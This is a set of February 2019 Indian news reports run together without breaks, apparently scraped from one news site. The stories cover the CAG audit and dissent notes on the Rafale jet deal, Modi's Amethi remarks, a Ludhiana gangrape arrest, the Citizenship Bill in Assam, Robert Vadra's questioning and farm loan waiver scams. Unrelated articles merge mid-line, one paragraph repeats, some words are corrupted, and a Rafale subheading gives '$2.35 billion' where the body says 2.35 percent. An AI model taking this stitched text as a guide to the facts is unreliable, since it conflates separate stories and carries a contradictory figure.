In the price bid of 2016 M/s DA had quoted "IS" M for ISE. In addition it had quoted IS1 M for ISE equipment and IS2 M for integration. This was finally negotiated (2016) to AX3 M as the total price for ISE which included AX4 M for NRC and IS2 M for integration. The price of equipment was also inclusive. Audit aligned the scope of the offer of 2007 and contract of 2016. The 2007 offer included Missiles A1 which was excluded by IAF in 2015 because it was being developed indigenously by Defence Research & Development Organisation (DRDO). In place of Missiles A1, IAF included Missile A2 for integration on the aircraft. The difference between integration of Missile A1 and Missile A2 which was IS3 M had to be deducted from the ISE price of XX M. This works out to AX1 M. Therefore the aligned price by audit was estimated to be AX2 M. As against this the contract was signed for AX3 M, a saving of 17.08 per cent, CAG report said.

'Not just lower prices but also faster delivery'

The CAG report on Rafale has concluded that the NDA government deal has ensured faster delivery of aircrafts in comparison to UPA regime's negotiations. One of objectives of the Indian Negotiation Team (INT) was to expedite the delivery of the aircraft and weapons as compared to the delivery period offered by Dassault Aviation in 2007. According to the original delivery schedule offered by M/s DA in 2007, first 18 flyaway aircraft were to be delivered between 37 months to 50 months of signing of the contract. Further, next 18 aircraft, which were to be licence produced in Hindustan Aeronautics Limited (HAL), were to be delivered from 49th to 72nd months of signing of the contract.

During negotiations under NDA regime, the INT conveyed to the French side that it expected the delivery of first batch of 18 Rafale aircraft in 24 months after the signing of the Inter-Governmental Agreement (IGA) and next batch of 18 aircraft in 36 months after the signing of IGA.

However, the delivery schedule finally offered by the French side was 18 aircraft by 36 to 53 months after the signing of IGA, and the remaining 18 aircraft to be delivered by 67 months of signing of IGA. This was better than the delivery schedule of 2007 by 05 months. Audit noted that as against the delivery period of 72 months in the earlier offer the contracted delivery schedule for 36 Rafale aircraft was actually 71 months. The ISE on the first aircraft would be completed by T0 + 63 months and integration on the next 35 aircraft would be completed in 8 months. Thus, there was an improvement of one month in the delivery schedule of the 2016 contract," CAG report said.

CAG, nevertheless, pointed out apprehensions raised by INT in achieving the delivery schedule because at the time of signing of the contract, Dassault Aviation had an order backlog of 83 aircrafts. CAG said considering its production rate of 11 aircraft a year, clearing this backlog itself would take more than seven years. The defence ministry, however, confirmed to the national auditor that project was on schedule and progress was being closely monitored by the resident project management team and alsio through Inter-Governmental Bilateral high-level group.

Dassault Aviation saved on guarantees: Benefit should have been passed on to India

The national auditor has, however, disagreed with the Ministry of Defence on the issue of financial and performance guarantees by Dassault and criticised the government for passing on the benefits to the vendor. Under the UPA offer in 2007, the company had provided the financial and performance guarantee, the cost of which was embedded in the offer because the Request For Proposal (RFP) had required the vendor to factor these costs in the price bid.

However, in the 2015 offer there were no such guarantees as it was an Inter-Governmental Agreement. The vendor was to provide bank guarantee against the 15 percent advance payment made by the ministry to the vendor which would be outstanding for three years till the deliveries of equivalent amount are made by the vendor. The bank charges, which the vendor would have to pay to hold this guarantee, works out to AAB1 million  (@ the Bank rate of 1.25 percent per annum as claimed by the vendor) 75 and 0.34 percent as checked independently by the Indian Negotiation Team (INT).

CAG report said that the offer of 2007 included Performance Guarantee and Warranty valuing 10 percent of the total value of the contract which was to be held till the completion of deliveries i.e. 5.5 years. The bank charges for this works out to AAB2 million .

"Therefore, the total saving of AAB3 million  accruing to the vendor by not having to pay these Bank Charges should have been passed on to Ministry. Ministry has agreed to the Audit calculations on Bank Guarantees but contended that this was a saving to the Ministry because the Bank guarantee charges were not to be paid. However, Audit noted that this was actually a saving for M/s DA when compared to its previous offer of 2007," CAG report said.

CAG report said despite Inter-Governmental Agreement, the government of France and vendor neither agreed to furnish the bank guarantees nor government or sovereign guarantee and instead it provided a Letter of Comfort signed by the French Prime Minister in lieu of the Bank Guarantee. The CAG felt that in case of breach of agreement, the process to settle is long drawn and it could have been avoided.

The defence ministry, however, in its reply to CAG has said that the IGA has been signed between two Strategic Partners who are Sovereign nations with long standing Strategic relationship. It has argued that on the advice of the Ministry of Law and Justice, responsibility of the French Government and Dassault was made Joint and Several in the IGA.

"This would make the French Government equally responsible to fulfil its obligations," defence ministry told the CAG.The Rafale deal struck by the Narendra Modi government was not 'was not on better terms than the offer made by Dassault Aviation to the UPA government for 126 Rafale jets', The Hindu reported. The Hindu has released another report, third one in less than a week, over the controversial Rafale deal.

The Rafale deal struck by the Narendra Modi government was not "was not on better terms than the offer made by Dassault Aviation to the UPA government for 126 Rafale jets", The Hindu reported. The Hindu has released another report, third one in less than a week, over the controversial Rafale deal. According to key findings of the three domain experts on the Indian Negotiating Team, the new Rafale deal for 36 ready-to-fly aircraft signed by the BJP-led NDA government is not better than the previous UPA government.

The report further mentioned that the delivery schedule of the first 18 of the 36 flyaway Rafale aircraft in the new deal was slower than the one offered for the 18 flyaway aircraft in the original procurement process.

The findings of the team, The Hindu reported, are contradicting to the claims made by the Central government saying that the deal struck by the BJP-led NDA government was cheaper, and delivery of the aircraft was faster (compared to UPA deal) and these assertions were even submitted to the Supreme Court of India.

MP Singh, Adviser (Cost), a Joint Secretary-level officer from the Indian Cost Accounts Service; AR Sule, Financial Manager (Air); and Rajeev Verma, Joint Secretary & Acquisitions Manager (Air) are the three domain experts who noted their assertions in a "strong dissent note" dated 1 June, 2016.

A series of investigative articles have rocked the political circle in India as the Opposition parties, mainly Congress, has upped the attack against the ruling BJP over irregularities in the Rafale deal. Ahead of the Lok Sabha elections 2019, where the ruling NDA alliance led by the Bharatiya Janata Party will be fighting to win another mandate at the Centre, the controversy around the Rafale deal has exploded to huge proportions.

The findings of the team acquire significance because these were the arguments presented to the Supreme Court by the NDA government citing why the Rafale deal signed under the current political dispensation is better off than the earlier agreement.

The benchmark price  a number discovered in advance by financial experts which acts as a ceiling on the finally negotiated price of the whole package  for the aircraft and its weapons combined was originally fixed at 5.06 billion, but it ultimately shot up to 7.87 billion  an escalation by 55.6 percent above the benchmark. The Hindu reported: "It is highlighted that the initial commercial offer from the French side was for firm and fixed price which was converted to price based on escalation formula during the price negotiations. The benchmark price prepared by INT was for firm and fixed price and not adjusted to price based on escalation formula. The final price offered by the French Government (which is escalation based) is 55.6% above the benchmark (which is for firm and fixed price). Considering the future escalations till the time of delivery, the gap in the benchmark and the final price would further increase. Minor adjustments towards costs of Technical Publications, Advance Training of IAF Pilots and Technicians and Role Equipment would not make much dent to this huge gap."

Earlier reports in The Hindu sparked a fresh debate over the Rafale deal as the report quoted a 2014 note written by the Ministry of Defence which raised strong objections to 'parallel negotiations' conducted by the Prime Minister's Office (PMO) with the French side. Stating that it was clear that such parallel discussions by the PMO had "weakened the negotiating position of MoD and Indian Negotiating Team," the note, dated 24 November, 2015 brought this to the attention of the then defence minister Manohar Parrikar.

The second report in The Hindu claimed that the deal involved "major and unprecedented concessions from the Indian government, with critical provisions for anti-corruption penalties and making payments through an escrow account dropped days before the signing of the inter-governmental agreement (IGA)." The Modi government, which rode to power in 2014 on the promise of culling corruption out of the country, came under intense criticism after the report was released on 11 February.

The Indian Express, in its report, said that in March 2015 before Modi announced officially procuring the 36 Rafale jets from France, industrialist Anil Ambani reportedly visited the then French defence minister's office in Paris and had a meeting with his top advisors. Special advisor to the then defence minister Jean-Yves Le Drian met Ambani with industry advisor, Christophe Salomon; and his technical advisor for industrial affairs, Geoffrey Bouquot. Ambanis meeting was described by Salomon to a top official of a European defence company as 'confidential and planned as you can imagine with very short notice'.

The reports have given new impetus to Opposition parties, especially the Congress, which has been trying to corner the BJP-led Centre ahead of crucial Lok Sabha elections due in a few weeks.Claiming that the difference between the incumbent government and previous regime is of quality, speed and scale, Modi said: 'Our scheme is not meant for the publicity of any Naamdaar.'

New Delhi: Prime Minister Narendra Modi on Wednesday suggested that Amethi in Uttar Pradesh had faced neglect even though the people of the Lok Sabha constituency had "blindly" trusted the Gandhi family and voted for it repeatedly.

"The people of Amethi have given immense love to the one and all in the 'naamdaar' family of this country. They believed them blindly and have never questioned them," said Modi.

The prime minister was speaking at an event of the Confederation of Real Estate Developers Association of India (CREDAI) "Youthcon 2019" in Delhi on Wednesday.

Citing a media report, he said: "In the same Amethi there is a Dalit Basti, 10 years back people of the Dalit Basti got houses under the MP Awas with names of naamdaars inscribed on its four walls. But the walls on which the names of naamdaars were etched, no longer exist," said Modi.

He added, "But the houses that are being constructed under the Pradhan Mantri Awas Yojna (PMAY) today, are bigger than the previous ones and have toilet, LPG connections and electricity connection also."

He said that his government is committed to give the house to every homeless by 2022.

"We are striving for giving the house to every homeless by 2022 and we are moving fast on that," said Narendra Modi.

He admitted that housing projects by the government are not new and such schemes were run in the previous government also but the difference is on the "intent" and the "motive".

"Our scheme is not meant for the publicity of any 'Naamdaar' and doesnt strive for making someones name immortal. There is no selfishness in schemes of my government," said Modi adding, that difference in work of the incumbent government and previous regime is of quality, speed and scale.

He advised the realtors that the target of their schemes should be neo-middle class. "You have to understand the aspirations of the neo-middle class and work accordingly," said the Prime Minister.The Ludhiana Police has arrested a man in connection with the alleged gangrape of a 21-year-old woman. Investigators have also identified four other accused in the case.

Ludhiana: A man was arrested on Tuesday in connection with the alleged gangrape of a 21-year-old woman in the nearby Issewal village, police said.

The police also identified four other accused in the case.

Tarun Rattan, Superintendent of Police, Ludhiana Rural Police, said the arrested accused was identified as Sadiq Ali (24), a resident of Rap village in Nawanshahr district.

Four other accused were identified as Jagroop Singh from Jaspal Bangar, Ajay Kumar from Uttar Pradesh, Saif Ali from Tibba and Surmo from Khanpur, he said, adding that another accused, yet to be identified, was a relative of Surmo.

All the accused were in the age group of 20 to 28 years, the senior police officer said.

Several police teams were pressed into service to nab the remaining accused, he said.

Meanwhile, Shiromani Akali Dal (SAD) activists took out a candle march at the Fountain Chowk on Tuesday to voice their anger against the incident.

Former Punjab minister Mahesh Inder Singh Grewal, who led the march, sought the early arrest of the remaining culprits.

The victim was allegedly raped by 10 men near Issewal village on the banks of the Sidwan canal, about 15 kilometres from Ludhiana, on Saturday night.

The woman was allegedly dragged out of the car, in which she was travelling with one of her friends, by the accused.

The woman was travelling with a man from Ludhiana to Issewal village, when their car was stopped at Jagraon by the accused, who were following them on three motorcycles, the police said.The Citizenship Bill is set to lapse on 3 June when the term of the present Lok Sabha ends.

Dudhnoi (Assam): Assam Finance Minister Himanta Biswa Sarma Wednesday said not passing the Citizenship (Amendment) Bill in the Rajya Sabha is a defeat for Assam and the Bharatiya Janata Party (BJP) will fight the upcoming Lok Sabha elections with a commitment towards it.

The senior BJP leader claimed that without the bill, 17 Assembly seats in the state will go to Bangladeshi Muslims.

"The National Democratic Alliance (NDA) does not have majority in the Rajya Sabha and therefore, could not introduce the bill in it," he said.

"But the NDA will bring the legislation again once the BJP-led alliance gets majority," he said after attending the oath taking ceremony of the new Rabha-Hasong Autonomous Council in Dudhnoi.

"The BJP is committed and will be forever committed to the bill. I fully support the bill. BJP will fight with this commitment. There is nothing to hide about it," Sarma, the convener of the North East Democratic Alliance (NEDA), the regional platform of the saffron party, said.

"I think not passing the bill in Rajya Sabha is a defeat for Assam ... Without the bill, 17 (Assembly) constituencies will go to Bangladeshi Muslims," he told reporters when asked about his comment.

"Who will save the (Assamese) community ? If we do not have the bill, entire Assam will be ruled by Bangladeshi Muslims in 2021. Then Assam's civilisation, culture and language will be finished forever," Sarma added.

The controversial bill is set to lapse on 3 June when the term of the present Lok Sabha ends as it could not be passed in the Rajya Sabha which adjourned sine die on Wednesday ending the Budget session, which was the last Parliament session of the present government.

It had been passed by the Lok Sabha on 8 January.

Sarma had on 6 January stoked a controversy by saying that Assam will surrender to the "philosophy of Jinnah" and 17 Assembly seats will "go the Jinaah way" if the Citizenship Bill is not passed.

A day later, he had again said that the Hindus in the state will become minority within five years if the bill is not passed and that will be "advantageous to those elements who want Assam to be another Kashmir and part of that uncertain phase".

On 17 January, Sarma had said "Maoists" and "the Left" are using intimidation while opposing the bill, which seeks to provide Indian citizenship to persecuted Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India even if they do not possess any document.

Massive protests broke out across the state and other parts of the northeast after Prime Minister Narendra Modi had announced in Silchar on 4 January that the controversial document would be passed as soon as possible in Parliament.Budget carrier GoAir Wednesday said its chief executive Cornelis Vrieswijk has resigned from the post within nine months

Mumbai: Budget carrier GoAir Wednesday said its chief executive Cornelis Vrieswijk has resigned from the post within nine months, citing personal matters. The former Easyjet executive joined the Wadia group airline only last June.

The airline said Jeh Wadia, the managing director, will be discharging the additional responsibilities of the CEO, till it finds a successor to Vrieswijk.

Dutch national joined GoAir only last June after the departure of Wolfgang Prock-Schauer in December 2017 and the larger rival IndiGo as the chief operating officer.

"At the nominations and remunerations committee meeting held by the board on 8 February, Vrieswijk expressed his desire to relocate to Amsterdam since his family was not wishing to settle down in Mumbai. "The board understood his compulsions to move back and accepted his reasoning to move on," the airline said, adding he will stay on to ensure a smooth transition.

"We recognise Vrieswijk's contribution to the airline, but at the end-of-the-day, for him, it was family calling," Wadia said. "Going forward, I will take over the CEO's role until a suitable replacement takes place," Wadia added.'Netaji', as Mulayam is fondly called, is still admired by old-time Samajawdis in Uttar Pradesh.

Mulayam Singh Yadav's praise for Narendra Modi shows he disapproves of son Akhilesh's choice of allies

The significance of Mulayam Singh Yadav's statement lay in the fact that he is considered to the original 'dharti-putra'  a self-made, rooted-to-ground and wily politician from the politically-critical Hindi heartland state. His line of politics is otherwise diametrically opposed to that of Modi and the BJP's Hindutva politics. Although he is not in the best of health, his son Akhilesh Yadav has snatched the reins of authority in his own party, but the Samajwadi Party patriarch's wish is still a command for a section of party followers, at least among the older generations of Yadavs. "Netaji", as he is fondly called, is still admired by old-time Samajawdis in Uttar Pradesh.

Russian Doll review: Netflix's existential dramedy is a whole lot better than Groundhog Day on steroids

Russian Doll is a remarkable show for various reasons; it completely upends the time loop genre and by veering ambiguously away from the standard sci-fi trope, it actually manages to elevate itself as a human story. The morality aspect of the show is intriguing too, but The Good Place has dibs on the best sitcom with moral philosophy lessons seamlessly threaded into it, and thankfully, Russian Doll stakes no such claim on it.

North East sets streets on fire with secessionist threats ahead of final day of Budget Session of Parliament

Even as the Opposition accuses the government of being insidious to get the Citizenship Amendment Bill, 2019, their victory will be achieved only when the proposed law is shellacked either by vote or natural lapse. But once so close to becoming a law, a new bill will probaly be a leitmotif of anxiety again like those higher secondary students who will appear in some other exam in the future.

Tragic Emiliano Sala affair reveals the real nature of football: All business, some sentiment and barely any soul

Even before Emiliano Sala's body had been identified, the French club had sent a letter to Cardiff City demanding the first slice of payment for the Argentine striker. The Ligue 1 had mentioned, in no uncertain terms, that should Cardiff fail to make the first installment of the 15million transfer fee within 10 days, they would be dragged to court. It must be pointed out that the Welsh club had never tried to wriggle out from making the payment. Their contention, they claim, was that the timing for financial dealings to take centrestage was just inappropriate. Sordid, even. Like it or not, the whole Sala affair reeks of crassness.

Inside 'Bombay 70': Finding asli 'hip-hop' inn Naezy's neighbourhood

Bombay 70 shows Naveds entire production lay in one cabinet in his house: an iPad given to him by his father, which would be used to shoot video and create tunes. He also used a chhanni (tea filter) to add texture to his voice, and the scene that captures this in Bombay 70 is mirrored in Gully Boy. They would buy hoodies from Chor Bazaar.The Rajasthan High Court had asked Vadra and his mother to cooperate with the agency

Jaipur: Robert Vadra, Congress president Rahul Gandhi's brother-in-law, was quizzed by the Enforcement Directorate officials for nine hours on Wednesday after he appeared before the agency for the second consecutive day in connection with an alleged land scam in Bikaner district of Rajasthan. Vadra's questioning resumed after he reached the ED's zonal office at Bhawani Singh road at 10.26 am. He was given a one-hour lunch break and he left the ED office at 8.40 pm for the airport.

Vadra and his mother Maureen had appeared before the ED on Tuesday. While his mother was allowed to go after some time, Vadra was grilled for nearly nine hours. The Rajasthan High Court had asked Vadra and his mother to cooperate with the agency after they approached it seeking directions that no coercive action be taken against them by the ED.

A case was registered by the ED in 2015, taking cognisance of a clutch of FIRs and charge sheets filed by the Rajasthan police after the Bikaner tehsildar complained about alleged forgery in land allotment. It is understood that the agency wanted to question him about the operations of Skylight Hospitality Private Limited, allegedly linked to him, which purchased land in the area.

It also wanted to confront Vadra with the statements of those said to be linked to him. Last week, the ED had quizzed Vadra in Delhi for three days in connection with a money laundering probe against him for allegedly procuring assets abroad in an illegal manner. AICC general secretary Priyanka Gandhi Vadra had on Tuesday dropped off her husband and mother-in-law at the ED office here, taking time off from her four-day Uttar Pradesh trip.

In a Facebook book, Vadra had accused the Narendra Modi government of being vindictive ahead of the Lok Sabha elections. Vadra is also facing accusations of irregularities in land deals in Haryana's Gurugram district. He has denied any wrongdoing.The student was walking to his vehicle on Inner Hilltop Circle between Commons Drive and Admin Drive on the UMBC campus at about 10 p.m. on Tuesday, when he was approached by two males, one of whom had a knife, UMBC police said.Union law minister Ravi Shankar Prasad will move the triple talaq bill in Rajya Sabha today; aris Saint-Germain beat Manchester United 2-0 at Old Trafford in the first leg of their Round of 16 encounter and other top stories for the day

Centre to move triple talaq Bill in Rajya Sabha today

The BJP-led government, which is keen to get parliamentary approval for the triple talaq Bill, will table it in the Rajya Sabha on Wednesday. Union Law Minister Ravi Shankar Prasad will move The Muslim Women (Protection of Rights on Marriage) Bill.

The Bill was passed in the Lok Sabha on 27 December, 2018 with 245 votes in favour and 11 against the Bill. The opposition parties want the Bill to be sent to the Select Committee of Parliament for further vetting, a demand rejected by the Centre.

However, an ordinance was re-promulgated in January as the revised Bill could not be passed in the Rajya Sabha, where the government lacks a majority.

Karnataka audio tape row: Assembly Speaker compares himself to rape survivor

The political climate in Karnataka is likely to make headlines today, as the row over the audio clips, showing BJP chief BS Yeddyurappa in a purported conversation to lure a JD(S) MLA, continues. The Speaker of the state Assembly, Ramesh Kumar, compared himself to a rape survivor as he had to undergo repeated questioning amid charges of him being part of the controversial tapes.

Chief Minister HD Kumaraswamy on Monday had announced a comprehensive SIT probe into the audio clip.

The Speaker made the remark on Tuesday during the discussions in the Assembly over the SIT probe into an audio clip showing Yeddyurappa in his alleged attempt to topple the Congress-JDS government.

The Speaker, pointing to repeated reference to charges against him, said his "situation was like that of a rape victim, as they too are supposedly questioned about the incident repeatedly."

Manchester United taste defeat in first leg against PSG; Roma beat Porto

Despite the absence of Neymar and Edinson Cavani, Paris Saint-Germain beat Manchester United 2-0 at Old Trafford in the first leg of their Round of 16 encounter. Kylian Mbappe and Presnel Kimpembe got on the scoresheet, while United's Paul Pogba was sent off.

In Rome, Nicolo Zaniolo scored twice to give AS Roma a 2-1 victory, but the away goal means Porto are still in the contest.

SC orders Anil Ambani to be present for contempt plea hearing today

The Supreme Court on Tuesday adjourned for Wednesday the hearing on a contempt plea filed by Ericsson India against Reliance Communication Ltd (RCom) Chairman Anil Dhirubhai Ambani and others for allegedly not clearing its dues of Rs 550 crore. Ambani, Reliance Telecom Ltd chairman Satish Seth and Reliance Infratel Ltd chairperson Chhaya Virani appeared before a bench of justices RF Nariman and Vineet Saran in pursuance to the contempt notice issued against them. The bench asked the three to be present in the court on Wednesday.

The apex court adjourned the matter to Wednesday due to paucity of time and assembling of a special bench in the post-lunch session. During the previous hearing, senior advocate Dushyant Dave, appearing for Ericsson India, had said that there was a gross violation of apex court's two earlier orders and RCom had not paid any dues. Ericsson had made it clear before the court that they would not accept Rs 118 crore that was being given by RCom and instead wanted their entire Rs 550 crore with interest. Besides the contempt plea, Ericsson had also sought Ambani, Seth and Virani to be "detained in civil prison" unless they purge themselves by making the payment.

Venezuela opposition takes to streets over blocked aid

Thousands of opposition activists headed out into the streets of Venezuela on Tuesday to demand the military allow in desperately-needed aid, with President Nicolas Maduro's supporters due to rally against "imperialist intervention."

Opposition leader Juan Guaido called the Youth Day demonstration to honour 40 people killed in anti-government rallies and press for the food and medicine to be brought into the economically-ravaged South American country.

"We are going back to the streets to demand the entry of humanitarian aid that will save the lives of more than 300,000 Venezuelans," said Guaido, who stunned the world on 23 January when he declared himself acting president.

Foldable smartphones to be the next big trend this year

Xiaomi recently revealed the progress its made on in-house design for a foldable smartphone. The device, which is expected to fold at two places, features a custom UI that adapts to the folds and a flexible hinge mechanism that took Xiaomi forever to refine.

Some renders of device prototypes were released and they do indeed seem compelling. With Samsung and LG also expected to announce foldable phones this year, most likely at Mobile World Congress later this month, the future is indeed looking flexible.

Cinematograph Act amendment bill introduced in Rajya Sabha

A bill was introduced in the Rajya Sabha on Tuesday to amend the Cinematograph Act and impose a strict penalty to combat the menace of piracy.

Minister of State for Information and Broadcasting Rajyavardhan Rathore introduced the Cinematograph (Amendment) Bill, 2019 in the Upper House, seeking to amend provisions of Cinematograph Act, 1952. The new provisions hope to tackle film piracy with penal provisions, including imprisonment of up to three years and fines that may extend to Rs 10 lakh or both.Party president Rahul Gandhi led the demonstration in which Congress lawmakers were seen carrying paper planes and posters, alleging scam in the multi-crore Rafale fighter jet deal.

New Delhi: Raising slogans against the Narendra Modi government, Congress lawmakers protested outside Parliament on Wednesday over the Rafale deal.

Party president Rahul Gandhi led the demonstration in which Congress lawmakers were seen carrying paper planes and posters, alleging scam in the multi-crore fighter jet deal.

Delhi: Earlier visuals of protest by Congress party, in the Parliament premises over Rafale deal. pic.twitter.com/7ciCSjXmO4  ANI (@ANI) February 13, 2019

UPA chairperson Sonia Gandhi and former prime minister Manmohan Singh were also present in the protest near the Gandhi statue in Parliament complex.

Stepping up his attack on Modi over the Rafale issue, the Congress president cited a media report to claim that the prime minister's argument of better pricing and faster delivery of the jets to defend the deal has been "demolished".

His attack came after a report in The Hindu newspaper claimed that the Rafale deal was not on "better terms" than the UPA-era offer.

Trinamool Congress MPs also held a demonstration inside the complex, alleging misuse of the CBI by the Centre.

Follow LIVE updates on the budget session of ParliamentFollowing reports of loan scams across cooperative banks in Dungarpur district of Rajasthan, farmers from several villages in Bharatpur and Dholpur districts approached the authorities

Editor's Note: The Congress rode to power in Madhya Pradesh and Rajasthan by promising to rid the state of farmers' issues. However, after securing a huge victory, the Congress' farm loan waiver schemes have thrown up several discrepancies, exposing a few major irregularities in previous BJP governments' agriculture debt adjustments. In this four-part series, we analyse the different problems related to the loan waiver schemes in the two states.

Read part I here: Congress farm loan waivers: MP farmers seethe over flawed implementation of scheme, banks' dubious calculations

Read Part II here: Congress farm loan waivers: Cultivators shocked to find names on beneficiaries list as MP ministers allege fraud by bank staff

***

Bharatpur: Following reports of loan scams across cooperative banks in Dungarpur district of Rajasthan, farmers from several villages in Bharatpur and Dholpur districts approached the authorities with complaints about their names appearing on the list of beneficiaries of loan waivers  issued under the previous BJP regime  even though they never took loans. Gram Sewa Sahkari Samitis, which functions across villages as an arm of the district cooperative banks, and receive loans to be disbursed to farmers, are under the lens.

Sub-divisional magistrate of Deeg, a town in Bharatpur, Sher Singh Luhadiya seized the loan waiver records from Gram Sewa Sahkari Samitis under the tehsil and checked records of Deeg cooperative bank branch. A probe has been ordered into the reported irregularities, following which action will be taken against erring officials, Luhadiya said. Initial comparison of records of GSSS and cooperative banks showed improper record keeping, the sub-divisional magistrate added.

Around 390 farmers from Parmadra and Sehu villages in Deeg tehsil submitted to Luhadiya a complaint regarding irregularities in loan waivers which included a list of names that appeared on the government portal, but who'd never taken loans. Among farmers visiting from Sehu village  Jagvir Singh, Abhayveer Singh, Sanjay Singh, Manveer Singh, Mahavir Singh, Mahendra Singh, Fateh Singh, Hari Kishan  complained that while their names appeared on the list of beneficiaries, they never availed of loans from a cooperative bank.

Hundreds of farmers appealed to the district collector to take legal action against Kishan Singh, secretary of the cooperative bank branch, over the withdrawal of nearly Rs 1 crore from their bank accounts. Singh, a resident of Dhamaari village, is also the ration dealer of Dhamaari gram panchayat. Farmers said last year when their accounts were opened at the cooperative bank, Singh kept their signed passbooks and cheque books.

The farmers learned of the alleged scam when they received messages about debt being waived by the government. Upon approaching those who were digitally literate, the farmers realised that their details were on the government loan waiver portal. The family and friends of Rajpal Singh  a 70-year-old farmer from Naahra Chauth village in Dhamaari panchayat who died of a stroke after he was told that his name was on the loan waiver portal  blamed his demise on this development.

Sarv Sukh, 60, another farmer from Naahra Chauth, said farmers from the village who hadn't taken any loans approached e-mitra centre to get their bank account details after hearing of the purported scam. Dhamaari, Naahra Chauth, Suhera, and Nagla Harsukh are the villages under Dhamaari gram panchayat in Deeg tehsil. Confirming that farmers from Dhamaari gram panchayat submitted a written complaint against the cooperative bank secretary, Bharatpur district collector Aarushi Malik said, I have directed related officials to begin probe into the matter.

Cooperative banks, led by an apex branch in Jaipur, provide loans to GSSS in Rajasthan, which has 29 such banks that disburse loans to farmers. Bharatpur alone has 265 GSSS while Dholpur district has 84 GSSS. Each GSSS elects its chairperson, and chairpersons of all samitis elect the chairperson of the district cooperative bank. The BJP government under Vasundhara Rajes leadership announced farm loan waiver up to Rs 50,000 for small and marginal farmers who had borrowed till 30 September, 2017.

The Congress government in Rajasthan that announced a loan waiver within days of the power shift cornered the BJP leadership over this purported scam. Former social welfare and empowerment minister Arun Chaturvedi said, We are ready to face any inquiry over loan waiver and added, BJP government provided relief for farmers. Farmer leader Nem Singh said cultivators from the villages of Panhori, Parmadra, Guhana, along with hundreds others from the district, are approaching secretaries to lodge complaints. We are demanding that the government investigate, Nem said. In Bharatpur, 73,218 farmers benefitting from the loan waiver scheme will be exempted of Rs 202.23 crore, while 23,576 farmers in Dholpur will be exempted of Rs 61.3 crore.

The author is a Bharatpur-based freelance writer and a member of 101Reporters.comA Delhi-based Christian organisation has asked Catholic bodies across the country to organise seminars and discussions in order to gauge the community's views on growing communalism, minority rights, etc, ahead of the Lok Sabha Election

A Delhi-based Christian organisation has asked Catholic bodies across the country to organise seminars and discussions with members of the Christian community in order to gauge the community's view on the "emerging socio-political situation" in the country ahead of the Lok Sabha elections.

The Catholic Bishops Conference of India (CBCI) for Laity announced its plan to mobilise Christians across the country Tuesday in order to ensure the issues faced by the Catholic community are included ahead of the election.

The Catholic body will submit a consolidated report on its findings to the parent body CBCI before 10 March, it said. "The general discussions on various issues would revitalise the involvement and participation of the community in their role and relevance in the Church," added VC Sebastian, Secretary, CBCI Council for Laity.

The discussions, the Catholic body said, will focus on challenges faced by the community in India, violation of constitutional rights and denial of minority welfare schemes to Christians. It will also look into the community's views on growing communalism, challenges faced by Christian-run education institutions, hospitals and orphanages as well as attacks on churches and Catholic institutions.

Besides, looking into the issues impacting the community, the Catholic body is also planning to gauge responses from the community on the crisis in the agriculture sector and other national, regional and local issues, it said.The three-member INT said that final price offered by the French government for the aircraft package, without the bank guarantee, was barely $2.35 billion less than the aligned cost

On the financial impact of the bank guarantees, the defence ministry said there was a saving to the government because the bank guarantee charges were not to be paid. This has not been accepted by the Comptroller and Auditor General (CAG) as well members of Indian Negotiation Team (INT). In fact, both are on the same page that it benefited Dassault Aviation instead of Indian government. The three-member INT said that final price offered by the French government for the aircraft package, without the bank guarantee was barely 2.35 percent less than the aligned cost, which is inclusive of bank guarantee cost.

The INT argument is that since India, due to an inter-governmental agreement, waived off the bank guarantee clause  for which Dassault would have required to shell out an additional 574 million euros  that is a direct saving for the French company with no benefits to the Indian government.

The INT had computed the commercial impact of bank guarantees for advance payments, stage payments, performance bond and warranty and MTBF bond. The computation was done at an annual bank commission rate of 2 percent inclusive of confirmation charges by an Indian Public Sector Bank based on advice sought from Parliament Street Branch of SBI. The commercial impact of bank guarantees in terms of percentage was worked out to 7.28. This would amount to approximately 574 million euros for total procurement cost of 7,890 million euros without factoring the escalation. Thus, if the financial impact of bank guarantees (even without factoring in the effect of escalation) was taken into account, the final price offered by the French side is still 5.3 percent higher than the aligned cost of the commercial quotes submitted by Dassault Aviation and MBDA in the procurement process," INT members said, objecting on the absence of bank guarantees.

On the queries raised by the CAG, the defence ministry said, "This was a saving to the ministry because the bank guarantee charges were not be paid." The CAG rejected this illogical argument. It is unclear from the report how the defence ministry arrived at the conclusion that the Indian government would benefit through absence of bank guarantees, when in fact the advantage is being provided to Dassault Aviation. The issue gets even murkier because in case of Inter-Governmental Agreement for 36 Rafale, the 2007 Dassault offer included 15 percent bank guarantee against advance payments, 5 percent each for performance guarantee and warranty.

A bank guarantee gets directly and automatically invoked in case of breach of contract by the seller. In the 2015 offer, the French vendor did not furnish any financial and performance bank guarantees. Since about 60 percent advance payments were to be made to the French vendors, Ministry of Law and Justice advised that the government or sovereign guarantee should be requested in view of the value of the proposed procurement. But France and Dassault did not agree and only letter of comfort signed by French prime minister was provided, which was subsequently approved by the Cabinet Committee on Security in September 2016.

The French government also did not agree to an escrow account as it felt that the guarantees already provided by the Government of France were far reaching and unprecedented. The finally approved Article 5 of IGA by the DAC, provided that the advance payments were to be made directly to the bank accounts of French vendor that were opened in French government-controlled Bank, over which the French party was to exercise control and monitoring for effective implementation of the IGA and the supply protocols.

This illogical move has been criticised by CAG since in case of breach of trust, the Indian government will have to go for a long legal tussle before the money is recovered. In case of any breach of agreement Indian party (ministry) would have to first settle it through arbitration directly with the French vendors. If the arbitration award were in favor of Indian party and the French vendor fails to honor the award (make the payments claim), Indian party should exhaust all available legal remedies. Only then the French government would make these payments on behalf of the vendors," CAG said.CAG Report on Rafale deal explained: All you need to know about terms, abbreviations used in the audit report tabled in Parliament on Wednesday

Aircraft Supply Protocol: Though not defined exclusively, the aircraft supply protocol is the standard operating procedure (SOP) which the Government of India has to follow to ensure its interests aren't diluted. take to be followed by a supplier following the purchase of an aircraft by the Indian government. The protocol lists out the condition in which the aircraft has to be supplied, the systems which had to be installed and are part of the purchase, as well terms for the supply of spare parts, training of staff, technology to be transferred, and the time limit under which it has to be done. In the 2016 Rafale deal signed by the BJP government, 36 Rafale jets had to be supplied to India in fly-away conditions.

Cabinet Committee on Security (CCS): Chaired by the Prime Minister of India, the Cabinet Committee on Security is the final decision-making body on all matters of national security right from making appointments in the national security apparatus to determining India's defence policy. Besides, the prime minister, the CCS includes the Minister of External Affairs, Minister of Home Affairs, Minister of Finance and the Minister of Defence.

